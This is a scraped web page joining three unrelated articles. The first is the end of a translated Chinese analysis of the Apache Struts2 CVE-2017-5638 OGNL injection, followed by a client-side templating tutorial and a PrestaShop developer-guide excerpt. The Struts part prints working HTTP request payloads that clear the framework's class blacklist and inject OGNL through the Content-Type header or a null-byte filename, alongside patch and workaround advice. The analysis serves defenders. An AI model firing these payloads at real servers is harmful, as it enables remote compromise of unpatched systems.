GetDefaultMessageReturnArg(msg, found);733:             }734:         }735:736:         return result;737:     } 事实证明，TextParseUtil的translateVariables方法是用于表达式语言评估的数据接收器。它通过评估包含在$ {…}和％{…}的实例中的OGNL表达式来提供简单的模板功能，定义并调用了几个版本的translateVariables方法，最后评估第166行的表达式： core/src/main/java/com/opensymphony/xwork2/util/TextParseUtil.java:34:      /**35:       * Converts all instances of ${...}, and %{...} in <code>expression</code> to the value returned36:       * by a call to {@link ValueStack#findValue(java.lang.String)}. If an item cannot37:       * be found on the stack (null is returned), then the entire variable ${...} is not38:       * displayed, just as if the item was on the stack but returned an empty string.39:       *40:       * @param expression an expression that hasn't yet been translated41:       * @param stack value stack42:       * @return the parsed expression43:       */44:      public static String translateVariables(String expression, ValueStack stack) {45:          return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();46:      }[..snip..]152:     public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {153:154:     ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {155:             public Object evaluate(String parsedValue) {156:                 Object o = stack.findValue(parsedValue, asType);157:                 if (evaluator != null && o != null) {158:                     o = evaluator.evaluate(o.toString());159:                 }160:                 return o;161:             }162:         };163:164:         TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);165:166:         return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);167:     } 有了这个最后一个方法调用，我们就可以跟踪到用户输入的异常消息，一直到OGNL的评估。 大家可能会非常想知道漏洞的有效载荷是如何工作的。首先，我们尝试提供一个返回附加标题的简单OGNL有效载荷。我们需要在开头包含未使用的变量，以便Dispatcher检查“multipart / form-data”子串，并将我们的请求解析成文件上传。 用户输入要求： POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: ${(#_='multipart/form-data').(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))} Content-Length: 0 用户输入反应： HTTP/1.1 200 OK Set-Cookie: JSESSIONID=1wq4m7r2pkjqfak2zaj4e12kn;Path=/struts2-showcase Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/html [..snip..] 用户登录异常： 17-03-24 12:48:30,904 WARN  [qtp18233895-25] ognl.SecurityMemberAccess (SecurityMemberAccess.java:74) - Package of target [com.opensymphony.sitemesh.webapp.ContentBufferingResponse@9f1cfe2] or package of member [public void javax.servlet.http.HttpServletResponseWrapper.addHeader(java.lang.String,java.lang.String)] are excluded! 事实证明，Struts提供了类成员访问的黑名单功能即类方法。默认情况下，使用以下类列表和正则表达式： core/src/main/resources/struts-default.xml:41:     <constant name="struts.excludedClasses"42:               value="43:                 java.lang.Object,44:                 java.lang.Runtime,45:                 java.lang.System,46:                 java.lang.Class,47:                 java.lang.ClassLoader,48:                 java.lang.Shutdown,49:                 java.lang.ProcessBuilder,50:                 ognl.OgnlContext,51:                 ognl.ClassResolver,52:                 ognl.TypeConverter,53:                 ognl.MemberAccess,54:                 ognl.DefaultMemberAccess,55:                 com.opensymphony.xwork2.ognl.SecurityMemberAccess,56:                 com.opensymphony.xwork2.ActionContext">57: [..snip..]63:     <constant name="struts.excludedPackageNames" value="java.lang.,ognl, 为了更好地了解原始的OGNL有效载荷，让我们尝试一个实际样本的载荷过程： 载荷要求： POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Content-Length: 0 载荷效果： HTTP/1.1 200 OK Set-Cookie: JSESSIONID=avmifel7x66q9cmnsrr8lq0s;Path=/struts2-showcase Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Struts-Exploit-Test: GDSTEST Content-Type: text/html [..snip..] 我们可以看到，这确实有效。但是如何绕过我们之前看到的黑名单呢？ 这个有效载荷是空的排除包名称和类的列表，从而使黑名单无用。它首先通过获取与OGNL上下文相关联的当前容器并将其分配给容器变量来实现。大家可能会注意到com.opensymphony.xwork2.ActionContext类包含在上面的黑名单中。那既然这样，怎么会躲避黑名单的捕获呢，因为我们没有引用类成员，而是通过OGNL值堆栈中已经存在的密钥（在core/src/main/java/com/opensymphony/xwork2/ActionContext.java:102中定义的）。我们的有效载荷已经利用了这个类的一个实例引用。 接下来，有效载荷获取容器的OgnlUtil实例允许我们调用返回当前排除的类和包名称的方法。最后一步是简单地清除每个黑名单并执行我们想要的任何无限制的评估。 一旦黑名单被清空，有效载荷也变空了，直到被代码覆盖和应用程序重新启动。我们还发现了一个常见的测试陷阱，当我们试图重现在野外发现的某些有效载荷或记录时，有些有效载荷无法工作，因为它们已经假设黑名单已经被清空，这可能是以前在不同有效载荷的测试期间发生的。这充分说明了运行动态测试时重置应用程序状态的重要性。 大家可能还注意到，使用的原始漏洞利用的有效载荷比我们所列举的样本有点复杂。比如，为什么会执行额外的步骤，例如检查_memberAccess变量并调用名为setMemberAccess的方法？我们猜想可能是尝试利用另一种技术来清除黑名单，以防第一种技术不起作用。使用MemberAcess类的默认实例调用setMemberAccess方法，该实例实际上也会清除黑名单。所以我们可以确认这种技术会在Struts 2.3.31中工作，而不是Struts 2.5.10。不过目前，我仍然不确定三元运算符的目的是检查和有条件地分配_memberAccess。在测试期间，我们没有观察到这个变量的评估。 从2.5.10开始，存在针对CVE-2017-5638的其他漏洞利用，这是因为任何不具有关联错误密钥的用户输入的异常消息将都被评估为OGNL。例如，提供带有空字节的上传文件名将导致从Apache commons fileupload库中抛出InvalidFileNameException异常。这也将绕过检查内容类型标头的Web应用程序防火墙规则，以下请求中的％00应首先进行URL解码，结果为用户输入的异常消息。 用户输入要求： POST /struts2-showcase/ HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary=---------------------------1313189278108275512788994811 Content-Length: 570 -----------------------------1313189278108275512788994811 Content-Disposition: form-data; name="upload"; filename="a%00${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}” Content-Type: text/html test -----------------------------1313189278108275512788994811-- 用户输入反应： HTTP/1.1 404 No result defined for action com.opensymphony.xwork2.ActionSupport and result input Set-Cookie: JSESSIONID=hu1m7hcdnixr1h14hn51vyzhy;Path=/struts2-showcase X-Struts-Exploit-Test: GDSTEST Content-Type: text/html;charset=ISO-8859-1 [..snip..] 用户登录异常： 2017-03-24 15:21:29,729 WARN  [qtp1168849885-26] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse request org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: a${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))} at org.apache.commons.fileupload.util.Streams.checkFileName(Streams.java:189) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.commons.fileupload.disk.DiskFileItem.getName(DiskFileItem.java:259) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processFileField(JakartaMultiPartRequest.java:105) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:96) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10] 通过查看stacktrace可以看到，控制流在JakartaMultiPartRequest类的processUpload方法中发生偏差。当在第91行调用parseRequest方法时抛出异常，而不是在调用processFileField方法并获取105行文件项的名称时抛出异常： core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:90:      protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {91:          for (FileItem item : parseRequest(request, saveDir)) {92:              LOG.debug("Found file item: [{}]", item.getFieldName());93:              if (item.isFormField()) {94:                   processNormalFormField(item, request.getCharacterEncoding());95:              } else {96:                  processFileField(item);97:              }98:          }99:      }[..snip..]101:     protected void processFileField(FileItem item) {102:         LOG.debug("Item is a file upload");103: 104:         // Skip file uploads that don't have a file name - meaning that no file was selected.105:         if (item.getName() == null || item.getName().trim().length() < 1) {106:             LOG.debug("No file has been uploaded for the field: {}", item.getFieldName());107:             return;108:         }109: 110:         List<FileItem> values;111:         if (files.get(item.getFieldName()) != null) {112:             values = files.get(item.getFieldName());113:         } else {114:             values = new ArrayList<>();115:         }116: 117:         values.add(item);118:         files.put(item.getFieldName(), values);119:     } 总结 我们从这项研究中得到的一个收获就是，不能总是依赖于查看CVE描述来了解漏洞的工作原理。比如，CVE-2017-5638存在的可能原因是因为文件上传时，拦截器尝试使用评估OGNL的潜在危险函数来解决错误消息。因此，这不是Jakarta请求包装器的问题，正如CVE描述的那样，但是文件上传时拦截器信任该异常的消息将不会被用户输入。 检测与修复方案 如果您的设备已经检测出存在Struts2漏洞，根据您的具体情况有以下三种解决方式： 1.官方解决方案 官方已经发布版本更新，尽快升级到不受影响的版本（Struts 2.3.32或Struts 2.5.10.1），建议在升级前做好数据备份。 Struts 2.3.32 下载地址， Struts 2.5.10.1下载地址。 2.临时修复方案 在用户不便进行升级的情况下，作为临时的解决方案，用户可以进行以下操作来规避风险： 在WEB-INF/classes目录下的struts.xml 中的struts 标签下添加 <constant name="struts.custom.i18n.resources" value="global" /> 在WEB-INF/classes/ 目录下添加 global.properties，文件内容如下： struts.messages.upload.error.InvalidContentTypeException=1 配置过滤器过滤Content-Type的内容，在web应用的web.xml中配置过滤器，在过滤器中对Content-Type内容的合法性进行检测： 原文发布时间为：2017年4月6日 本文作者：xiaohui 本文来自云栖社区合作伙伴嘶吼，了解相关信息可以关注嘶吼网站。 原文链接
文章
安全 · Java · Shell · Apache · 容器 · Web App开发 · 数据格式 · XML · 网络安全 · PHP
2017-09-19
模板，从服务端到客户端
　　英文原文 ： Client-Side Templating 　　在浏览器中使用模板是一个日渐热门的趋势。将服务端的逻辑应用到客户端上，还有越来越多的类MVC模式（模型-视图-控制器：model-view-controller）的使用都使得在浏览器中“模板”的角色越来越重要。在过去，“模板”从来都是服务端的事情，但事实上在客户端开发中，模板的作用是非常强大又具有表现力的。 　　为什么要使用模板？ 　　大体上来说，借助模板是一种能很好地将视图（views）中标记和逻辑分开的方法，还能将代码的重用性和可维护性最大化。如果使用的是语法与最终所得结果很相近的语言（比如HTML），你就能又快又好地把任务完成了。虽然模板可以用来输出任何形式的文本，但由于我们想要讨论的客户端开发是有关于HTML的，所以在这篇文章里，我们还是以HTML作为例子。 　　现在的动态应用中，客户端常常需要频繁地刷新界面。这个效果可以通过服务端将HTML片段插入到客户端的文档中。这样做的话，服务器要能支持传送HTML的片段（与之相对：传送完整的页面）。还有就是，作为一个要处理这些标记片段的客户端的开发者，你应该会想能完全控制你的模板。而模板引擎（Smarty）、流量（Velocity）还有ASP这些服务器端的内容你都不用了解，也不用管那些“面条式代码”（spaghetti code）：例如在HTML文档里是不是出现的臭名昭著的<?或者<%。 　　那么现在来看看客户端模板吧。 　　第一印象 　　对初学者而言，理解“模板”的含义很重要，foldoc（免费在线计算机词典）中的解释是：模板是一种文档，不过文档中有形参，再通过模板处理系统的特定语法用实参代替形参。 　　让我们来看看最基本的模板长什么样子： <h1>{{title}}</h1><ul> {{#names}}<li>{{name}}</li> {{/ names}}</ul> 　　如果你写过HTML，那么你一定很熟悉上面的代码。上文的HTML中有一些占位符。这些占位符将会被真实的数据取代。例如这个对象： var data = { " title ": " Story " , " names " : [{ " name ": " Tarzan " },{ " name ": " Jane " }]} 　　把数据和模板结合起来，就会得到下面的HTML代码： <h1>Story</h1><ul><li>Tarzan</li><li>Jane</ul></ul> 　　将模板和数据分离开来对于维护HTML来说是一件好事。比如说，如果想要更改标签或者添加类（class）就只需要更改模板就可以了。另外，对于需要迭代出现的元素（比如<li>），程序员只需要写一次就好了。 　　模板引擎 　　模板的语法是根据你需要的模板引擎来决定的（例如：占位符{{title}}）。引擎是负责分析模板，用提供的数据替换占位符（变量、函数、循环等等）。 　　有些模板引擎看起来没有什么逻辑性。这指的不是在模板中只能插入简单的占位符，而是说智能标签（intelligent tags）方面的特性很少（比如数组迭代器，条件渲染等等）。有些引擎就有很多特性和很好的可扩展性。关于这一点就不在这展开讲了，你需要问问自己，在模板中你是否需要、需要多少逻辑。 　　每个模板引擎都有自己的API，不过通常你都能找到像render()和compile()这样的方法。渲染的过程就是将真正的数据放入模板然后呈现出来。也就是说，渲染就是用真正的数据替代了占位符。如果在此期间木板上有什么逻辑，就会被执行。编译模板指的是解析模板，然后将它转换成一个JavaScript函数。模板中的逻辑都会被解释为纯JS（plain JavaScript），给定的数据会被传入这些JS函数中，这么做可以最大程度地优化HTML。 　　Mustache实例 　　上文中的例子可以借助模板引擎实现，例如使用了 Mustache模板语法的 mustache.js。关于这种语法更多信息，我会在后面告诉你的。现在先来看看下面的JS代码能得到什么效果： var template = ' <h1>{{title}}</h1><ul>{{#names}}<li>{{name}}</li>{{/names}}</ul> ' ; var data = { " title ": " Story ", " names ": [{ " name ": " Tarzan "}, { " name ": " Jane " }]}; var result = Mustache.render(template, data); 　　现在我们需要在页面上显示模板，你需要写这么一行代码： document.body.innerHTML = result; 　　第一个客户端模板就完成了！在代码文件中加入下面这句，你就可以试一试上面的例子了，或者看下在线演示 <script src= " https://raw.github.com/janl/mustache.js/master/mustache.js "></script> 　　组织模板 　　如果你和我一样，不喜欢HTML文档里出现很长的内容，既造成了阅读的困难还增加了维护的负担。理想情况下，我们可以把模板分开维护，既能享受模板的语法高亮的便利，又能保证HTML的可读性。 　　但事情总不会十全十美的。如果一个项目中要使用非常多的模板，出于避免过多Ajax请求而影响性能的原因，我们不希望这么多文件被分开加载下来。 　　场景1：脚本标签 　　常见的解决方案就是把所有的模板直接放在 <scrpit>标签中， <script>标签的可选类型要稍作更改，比如改成 type=”type/template”（浏览器在渲染或解析时会将这个属性忽略）。 <script id= " myTemplate " type= " text/x-handlebars-template "><h1>{{title}}</h1><ul> {{#names}}<li>{{name}}</li> {{/ names}}</ul></script> 　　这样的做，你就可以把所有的模板都放在HTML文档中，避免了额外的Ajax请求。 　　script标签中的内容会后面被JavaScript当做模板来使用。请看下面的代码，这次我们用的是 Handlebars模板引擎再结合一些jQuery，模板就用刚刚的里的。也可以直接看在线演示 var template = $( ' #myTemplate ' ).html(); var compiledTemplate = Handlebars.compile(template); var result = compiledTemplate(data); 　　最终效果和上文的Mustache例子是一样的。Handlebars也可以使用Mustache格式的模板，所以在这里我们就用一样的模板了。不过要注意，它们之间还是有一个很重要的区别：Handlebars是先得到一个中间结果，再通过这个中间值得到HTML的。它先是将模板编译成一个JS函数（称之为compiledTemplate），然后数据再被传入这个函数中执行，再返回最终结果。 　　场景2：预编译模板 　　虽然说将渲染模板包装在一个方法里看起来要方便多了，但是将编译和渲染分开也有显而易见的优点。最重要的是，分开以后，可以把编译放在服务器端完成。我们可以在服务器上执行JS代码（比如使用Node），有些模板引擎支持这样的预编译。 　　我们可以用一个JS文档（叫它comiled.js吧）将多个预编译好的文件放在一起。这个文件的内容看起来可能是这样的： var myTemplates = {templateA: function() { ….},templateB: function() { ….};templateC: function() { ….};}; 　　然后在应用中，我们只需要将数据传入这些预编译好的模板中： var result = myTemplates.templateB(data); 　　这个方法远比上文中讨论过的将所有的模板放在 <script type=”text/javascript”>中要好，客户端会忽略编译过程。取决于你的应用套件（application stack），这个解决方式并不一定很难实现，我们会在下文看到它具体的实现。 　　Node.js示例 　　任何模板预编译脚本至少要满足下面的要求： 读取模板文件,编译模板,最后的结果可以被合并入一个或多个文件、 　　下文中的Node.js脚本就实现了上面说的那3点（使用Hogan.js模板引擎）： var fs = require( ' fs ' ),hogan = require( ' hogan.js ' ); var templateDir = ' ./templates/ ' ,template,templateKey,result = ' var myTemplates = {}; ' ;fs.readdirSync(templateDir).forEach(function(templateFile) {template = fs.readFileSync(templateDir + templateFile, ' utf8 ' );templateKey = templateFile.substr( 0, templateFile.lastIndexOf( ' . ' ));result += ' myTemplates[" '+templateKey+ ' "] = ' ;result += ' new Hogan.Template( ' + hogan.compile(template, {asString: true}) + ' ); ' });fs.writeFile( ' compiled.js ', result, ' utf8 '); 　　这段代码先是读取了在 templates目录下所有的文件，再编译了这些模板，最后将它们写入compiled.js。 　　注意！现在得到的结果是完全没有优化过的代码，也没有做任何错误处理。不过它还是完成我们想要它做的事，也不需要很长的代码来预编译模板。 　　场景3：AMD和RequireJS 　　随着异步牵引模块（通常我们都称之为AMD）越来越多地被使用，为了更好地组织你的APP，建议将模块解耦。RequireJS是现在主流的模块加载器之一，在模块定义中，你可以特定某些依赖，在实际的模块里你就可以使用它们了（工厂模式）。 　　在使用模块时，RequireJS有一个 text插件用于规定基于文本的依赖。默认是将AMD的依赖当做JavaScript来处理，不过模板并不是JS而是文本（比如HTML格式的模板），所以我们需要用上这个插件： define([ ' handlebars ', ' text!templates/myTemplate.html ' ], function(Handlebars, template) { var myModule = {render: function() { var data = { " title ": " Story ", " names ": [{ " name ": " Tarzan "}, { " name ": " Jane " }]}; var compiledTemplate = Handlebars.compile(template); return compiledTemplate(data);}}; return myModule;}); 　　这样，就能在单独的文件中管理各个模板了，虽然这么做是挺好的，但无疑增加了很多额外的Ajax请求，而且仍然需要在客户端编译模板。但是，可以用RequireJS中的r.js来优化这些额外的请求。这个决定了依赖，将模板或者依赖植入模块定义中，大大减小了请求数。 　　你会发现我们还没有说到预处理，事实上有两个方法可以完成预处理。可以写一个r.js的插件或者别的程序来预处理模板。这么做的话就会改动了模块定义：我们需要在优化之前先使用一个模板*字符串*，然后再使用一个模板*方法*。不过这些问题也不是很难处理，你可以去检测它的变量类型或者将逻辑抽象出来（写在插件中或者直接写在应用中）。 　　监听模板 　　在场景2和场景3中，如果将模板当做未编译的资源我们还能将应用构建地更好。就像你在写CoffeeScript、Less或者SCSS，在开发时，可以监听模板文件的变化，一旦发现文件出现变化，就立刻自动重新编译，就像从CoffeeScript编译到JavaScript一样。这样我们在代码中处理的模板都是已经预编译过了的，还方便了在开发过程汇中将预编译模板做相关的内联优化。 define([ ' templates/myTemplate.js ' ], function(compiledTemplate) { var myModule = {render: function() { var data = { " title ": " Story ", " names ": [{ " name ": " Tarzan "}, { " name ": " Jane " }]}; return compiledTemplate(data);};}; return myModule;} 　　性能问题 　　用客户端模板完成UI更新时的渲染是常见的方法。还是那句话，想要达到性能最优，那就要在第一次请求页面时尽可能少的请求额外的资源。这样浏览器在渲染HTML页面时不会因为要去加载JS资源或者别的数据而中断渲染。这听起来挺难的，特别是在又要动态加载内容又要尽可能减少加载时间的页面上。理想情况下，模板是既可以在客户端也可以在服务端使用的，这样可以提供最优的性能还能保持它的可维护性。 　　有两个问题还需要考虑一下： 我的应用中哪里是有最多动态加载的呢？又是哪部分需要最短的加载时间的呢？处理种种问题的程序是要放在客户端还是服务端呢？ 　　实际问题实际分析。确实使用预处理过的模板，客户端可以比较轻易地快速渲染出效果。但是如果你需要重用模板，你会偏爱逻辑较少的模板一些。 　　结论 　　我们已经看到了客户端模板的种种好处，比如： 服务器和API最好只负责提供数据（比如JSON）；客户端模板就能直接把数据套上了。客户端方向的开发者可以自如地使用HTML和JS。使用模板的话，你就必须把逻辑和表现分离开。模板可以预编译好然后缓存起来，这样服务器每次都只要发送数据就可以了。不在服务器端渲染而在客户端渲染，多少会影响性能。
问答
缓存 · 开发框架 · 自然语言处理 · JavaScript · 前端开发 · .NET · 程序员 · API · 开发者
2016-09-01
译 PrestaShop开发者指南 第四篇 深入PrestaShop核心开发
## 访问数据库 ### 数据库结构 PrestaShop的数据库表默认带有ps_的前缀，前缀在安装时可以自定义。 所有表名都是小写，以下划线分割。当一个表表示要在两个实体间建立连接时，表名中两个实体的的名称都要出现，比如ps_category_product表示将产品关联到对应的分类。 几点细节: - 用id_lang字段来存储与一条记录相关的语言 - 用id_shop字段来存储与一条记录相关的店铺 - 以_lang后缀结尾的表表示包含翻译，如ps_product_lang表包含ps_product表的所有翻译 - 以_shop后缀结尾的表表示链接到指定店铺的记录，如ps_category_shop表包含每个分类对应在哪个店铺上 ### ObjectModel 类 ObjectModel是一个AR类型的类，它的一个实例对应一条数据库记录。 当你继承了这个类以后，首先要定义模型的基本信息。 &lt;pre class="brush:php"&gt;/*** Example from the CMS model (CMSCore)*/public static $definition = array( 'table' =&gt; 'cms', 'primary' =&gt; 'id_cms', 'multilang' =&gt; true, 'fields' =&gt; array( 'id_cms_category' =&gt; array('type' =&gt; self::TYPE_INT, 'validate' =&gt; 'isUnsignedInt'), 'position' =&gt; array('type' =&gt; self::TYPE_INT), 'active' =&gt; array('type' =&gt; self::TYPE_BOOL), // Lang fields 'meta_description' =&gt; array('type' =&gt; self::TYPE_STRING, 'lang' =&gt; true, 'validate' =&gt; 'isGenericName', 'size' =&gt; 255), 'meta_keywords' =&gt; array('type' =&gt; self::TYPE_STRING, 'lang' =&gt; true, 'validate' =&gt; 'isGenericName', 'size' =&gt; 255), 'meta_title' =&gt; array('type' =&gt; self::TYPE_STRING, 'lang' =&gt; true, 'validate' =&gt; 'isGenericName', 'required' =&gt; true, 'size' =&gt; 128), 'link_rewrite' =&gt; array('type' =&gt; self::TYPE_STRING, 'lang' =&gt; true, 'validate' =&gt; 'isLinkRewrite', 'required' =&gt; true, 'size' =&gt; 128), 'content' =&gt; array('type' =&gt; self::TYPE_HTML, 'lang' =&gt; true, 'validate' =&gt; 'isString', 'size' =&gt; 3999999999999), ),); 'multilang' =&gt; true,'multishop' =&gt; true,'multilang_shop' =&gt; true,&lt;/pre&gt; 主要调用方法： &lt;table class="confluenceTable tablesorter"&gt;&lt;thead&gt;&lt;tr class="sortableHeader"&gt;&lt;th style="text-align: center;" class="confluenceTh sortableHeader tablesorter-headerSortDown" data-column="0"&gt;&lt;div class="tablesorter-header-inner"&gt;&lt;span style="color: rgb(0,0,0);"&gt;&lt;strong&gt;Method name and parameters&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;/th&gt;&lt;th style="text-align: center;" class="confluenceTh sortableHeader" data-column="1"&gt;&lt;div class="tablesorter-header-inner"&gt;&lt;span style="color: rgb(0,0,0);"&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody class=""&gt;&lt;tr&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;__construct($id = NULL, $id_lang = NULL)&lt;/p&gt;&lt;/td&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;Build object.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;add($autodate = true, $nullValues = false)&lt;/p&gt;&lt;/td&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;Save current object to database (add or update).&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="1" class="confluenceTd"&gt;associateTo(integer|array $id_shops)&lt;/td&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;Associate an item to its context.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;delete()&lt;/p&gt;&lt;/td&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;Delete current object from database.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="1" class="confluenceTd"&gt;deleteImage(mixed $force_delete = false)&lt;/td&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;Delete images associated with the object.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;deleteSelection($selection)&lt;/p&gt;&lt;/td&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;Delete several objects from database.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;getFields()&lt;/p&gt;&lt;/td&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;Prepare fields for ObjectModel class (add, update).&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;getValidationRules($className = _CLASS_)&lt;/p&gt;&lt;/td&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;Return object validation rules (field validity).&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;save($nullValues = false, $autodate = true)&lt;/p&gt;&lt;/td&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;Save current object to database (add or update).&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;toggleStatus()&lt;/p&gt;&lt;/td&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;Toggle object's status in database.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;update($nullValues = false)&lt;/p&gt;&lt;/td&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;Update current object to database.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;validateFields($die = true, $errorReturn = false)&lt;/p&gt;&lt;/td&gt;&lt;td colspan="1" class="confluenceTd"&gt;&lt;p&gt;Check for field validity before database interaction.&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; ### DBQuery类 DBQuery是是一个用于构造SQL 查询语句的助手类。 &lt;pre class="brush: php"&gt;$sql = new DbQuery();$sql-&gt;select('*');$sql-&gt;from('cms', 'c');$sql-&gt;innerJoin('cms_lang', 'l', 'c.id_cms = l.id_cms AND l.id_lang = '.(int)$id_lang);$sql-&gt;where('c.active = 1');$sql-&gt;orderBy('position');return Db::getInstance()-&gt;executeS($sql&lt;/pre&gt; 译注：这个类的方法很基本，跟国产的比差了一截，但一般的应用够了。 ## 路由分发 路由分发是v1.5引入的一项特性。 如下，当未启用Url重写时， &lt;pre&gt;http://myprestashop.com/index.php?controller=category&amp;id_category=3&amp;id_lang=1http://myprestashop.com/index.php?controller=product&amp;id_product=1&amp;id_lang=2&lt;/pre&gt; 启用重写后： &lt;pre&gt;http://myprestashop.com/en/3-music-ipodshttp://myprestashop.com/fr/1-ipod-nano.html&lt;/pre&gt; 路由分发器使用三个抽象类: Controller, FrontController 及d AdminController (后两个继承自第一个)。 可以通过重载loadRoutes()方法来创建新的路由。在后台界面的"Preferences"菜单下访问"SEO &amp; URLs"页面就可以改变控制器的URL。 ## 控制器 MVC的模式在此跳过不谈。 所有的控制器实际上都重载了Controller类，如AdminController, ModuleAdminController, FrontController, ModuleFrontController等。 ### FrontController类 主要属性列表： &lt;pre&gt;PropertyDescription$template Template name for page content.$css_files Array list of CSS files.$js_files Array list of JavaScript files.$errors Array of errors that have occurred.$guestAllowed Whether a customer who has signed out can access the page.$initialized Whether the init() function has been called.$iso The ISO code of the currently selected language.$n The number of items per page.$orderBy The field used to sort.$orderWay Whether to sort is ascending or descending ("ASC" or "DESC").$p The current page number.$ajax If the ajax parameter is detected in request, set this flag to true.&lt;/pre&gt; ### 控制器内部函数执行顺序 1. __contruct(): Sets all the controller's member variables. 1. init(): Initializes the controller. 1. setMedia() or setMobileMedia(): Adds all JavaScript and CSS specifics to the page so that they can be combined, compressed and cached (see PrestaShop's CCC tool, in the back-office "Performance" page, under the "Advanced preferences" menu). 1. postProcess(): Handles ajaxProcess. 1. initHeader(): Called before initContent(). 1. initContent(): Initializes the content. 1. initFooter(): Called after initContent(). 1. display() 